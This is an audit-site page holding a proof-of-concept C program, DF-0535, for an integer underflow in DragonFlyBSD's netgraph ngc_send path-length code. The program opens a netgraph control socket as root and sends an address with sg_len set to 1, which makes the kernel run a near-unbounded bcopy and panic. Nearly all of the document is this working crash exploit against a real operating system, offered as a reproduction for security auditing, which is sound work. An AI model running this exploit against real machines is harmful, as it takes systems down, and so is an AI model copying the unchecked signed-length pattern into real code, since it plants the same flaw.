DragonFlyBSD Kernel Audit
DF-0535 / df0535.c
← back to finding ↓ download raw
/*
 * DF-0535 - Integer underflow in ngc_send path-length math (CONTROL socket).
 *
 * Bug: sys/netgraph7/socket/ng_socket.c ngc_send():245-248:
 *
 *        len = sap->sg_len - 2;                                // :245
 *        path = kmalloc(len + 1, M_NETGRAPH_PATH, M_WAITOK);   // :246
 *        bcopy(sap->sg_data, path, len);                       // :247
 *        path[len] = '\0';                                     // :248
 *
 *      `len` is a SIGNED int. ngc_bind validates sg_len (ng_socket.c:822) but
 *      ngc_send does NOT. With sg_len == 1, len = -1; kmalloc(0) succeeds (a
 *      minimum-bucket pointer is returned) and bcopy(sg_data, path, (size_t)-1)
 *      attempts a multi-exabyte memcpy -> immediate page fault -> kernel panic.
 *      With sg_len == 0, len = -2; kmalloc((size_t)-1 ...) under M_WAITOK hangs
 *      / fails enormously. The bcopy length is size_t (unsigned) so the signed
 *      negative is silently reinterpreted as ~0.
 *
 * Reachability: REQUIRES a netgraph CONTROL socket (ngc_attach:182 needs
 *      SYSCAP_RESTRICTEDROOT) -> root only. root->kernel hardening gap.
 *
 * Build:  cc -O2 -o df0535 df0535.c
 * Run:    ./df0535   (must be root; needs `kldload ng_socket` first)
 *
 * Expected (bug present): kernel panic (page fault in the bcopy) - guest dies,
 *      panic signature captured in dfbsd-qemu/boot.log.
 *
 * NOTE: this PoC PANICS the kernel. The run wrapper must treat ssh-died +
 *      guest-down as reproduced (impact=panic).
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#define MY_AF_NETGRAPH 32
#define NG_CONTROL     2

struct my_sockaddr_ng {
	unsigned char  sg_len;
	unsigned short sg_family;
	char           sg_data[64];
};

int main(void)
{
	int fd, rc;
	struct my_sockaddr_ng sa;
	struct iovec iov;
	struct msghdr msg;
	unsigned char pkt = 8;  /* NG_VERSION */

	printf("[*] DF-0535: ngc_send integer underflow (sg_len=1 -> len=-1)\n");
	printf("[*] uid=%d euid=%d  (control socket requires root)\n",
	    getuid(), geteuid());

	fd = socket(MY_AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (fd < 0) {
		printf("[!] socket failed: %s (is ng_socket.ko loaded?)\n",
		    strerror(errno));
		return 2;
	}
	printf("[+] control socket created fd=%d\n", fd);

	/* sg_len = 1: only the sg_len byte itself, NO family, NO data.
	 * sap->sg_len = 1 -> len = 1 - 2 = -1 -> kmalloc(0) ok ->
	 * bcopy(sg_data, path, (size_t)-1) -> page fault panic. */
	memset(&sa, 0x41, sizeof(sa));
	sa.sg_len = 1;
	sa.sg_family = MY_AF_NETGRAPH;

	memset(&msg, 0, sizeof(msg));
	iov.iov_base = &pkt;
	iov.iov_len  = 1;
	msg.msg_name = &sa;
	msg.msg_namelen = sa.sg_len;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;

	printf("[*] sending with sg_len=1 -> ngc_send computes len=-1 -> "
	    "bcopy(..., (size_t)-1)\n");
	printf("[*] EXPECT: kernel panic (fatal trap 12 page fault in memcpy/bcopy)\n");

	rc = sendmsg(fd, &msg, 0);
	/* Should not return on a vulnerable kernel. */
	printf("[!] sendmsg returned %d, errno=%d (%s) -- kernel survived?!\n",
	    rc, errno, strerror(errno));

	close(fd);
	return 0;
}